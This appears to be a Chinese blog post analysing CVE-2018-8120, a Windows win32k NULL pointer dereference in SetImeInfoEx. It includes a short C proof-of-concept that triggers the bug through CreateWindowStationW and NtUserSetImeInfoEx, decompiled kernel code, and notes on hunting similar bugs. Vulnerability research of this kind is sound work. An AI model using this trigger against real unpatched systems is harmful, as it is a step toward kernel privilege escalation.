美文网首页
CVE-2018-8120 的调试

CVE-2018-8120 的调试

作者: HopeBsod | 来源:发表于2019-06-05 16:13 被阅读0次

POC:

VOID POC() {

HWINSTA Hwinsta= CreateWindowStationW(0, 0, READ_CONTROL, 0);

if (!Hwinsta)
{
    printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError());
    fflush(stdout);
    ExitProcess(3);
}

if (!SetProcessWindowStation(Hwinsta))
{
    printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError());
    fflush(stdout);
    ExitProcess(4);
}
tagIMEINFOEX  tagIMEINFOEXA = {0};

NtUserSetImeInfoEx((PVOID)&tagIMEINFOEXA);
}

v3没有判断 NULL空指针导致了如下分析(IDA 截图):

 tagWINDOWSTATION *__stdcall SetImeInfoEx(tagWINDOWSTATION *a1, const void *a2) {

 tagWINDOWSTATION *result; // eax@1
 tagKL *v3; // eax@2
 tagIMEINFOEX *v4; // eax@7

result = a1;
if ( a1 )
 {
  v3 = a1->spklList;                          // 并没有判断v3的存在是否合理 怎么样让不合理是关键
  while ( v3->hkl != *(HKL__ **)a2 )
   {
    v3 = v3->pklNext;
    if ( v3 == a1->spklList )
      return 0;
   }
  v4 = v3->piiex;
  if ( !v4 )
    return 0;
  if ( !v4->fLoadFlag )
    qmemcpy(v4, a2, sizeof(tagIMEINFOEX));
  result = (tagWINDOWSTATION *)1;
 }
 return result;
 }

v3是tagWINDOWSTATION.spklList成员 此成员没有判断地址的合理性就进行了读,这种类型洞 主要是Create的时候返回的结构体对象成员大多数是空 然后其他函数调用的时候没检查就使用了结构体内容,此处是CreateWindowStation Create,NtUserSetImeInfoEx调用。

xiang
借鉴这种类型挖掘其他的话 我自己先 第一懂函数,第二逆向读代码查看关联性,第三尝试。

或者直接写个函数先Create,然后另一个线程随机调用 求缘分。

相关文章

  • CVE-2018-8120 的调试

    POC: v3没有判断 NULL空指针导致了如下分析(IDA 截图): v3是tagWINDOWSTATION.s...

  • CVE-2018-8120 Windows LPE exploi

    原作者GitHub地址:https://github.com/unamer/CVE-2018-8120 这个版本里...

  • CVE-2018-8120

    SetImeInfoEx Win32k NULL Pointer Dereference ,可以自己控制 的N...

  • 【提权系列】— CVE-2018-8120

    漏洞名称 Windows Win32k 权限提权漏洞 漏洞编号 CVE-2018-8120 漏洞描述 部分版本Wi...

  • CVE-2018-8120 漏洞分析

    原文地址:https://mozhe.cn/news/detail/290 详细分析漏洞描述 Microsoft ...

  • vscode使用指南(代码调试)

    代码调试 vscode 原生支持nodejs的调试,其他语言需要安装拓展支持调试 代码调试界面 调试界面 调试配置...

  • Flutter 调试方式

    在 Flutter 里有几种调试方式。 断点调试。 debugger 调试。 rendering 调试。 日志调试...

  • HBuilder Android真机调试

    关于调试 难者不会,会者不难。对于调试,这句话尤其合适。无论是前端调试、Java调试、PHP调试、Python调试...

  • 2018-08-15 Windows调试和内核

    Windows调试 软件调试分类。按目标代码的执行模式:内核态调试,用户态调试;按调试器与调试目标的相对位置:本机...

  • WWDC2015 高级调试技巧笔记

    我将为大家介绍以下三个方面的调试技巧 视图调试高级断点调试Address Sanitizer 视图调试 视图调试的...

网友评论

      本文标题:CVE-2018-8120 的调试

      本文链接:https://www.haomeiwen.com/subject/ulksxctx.html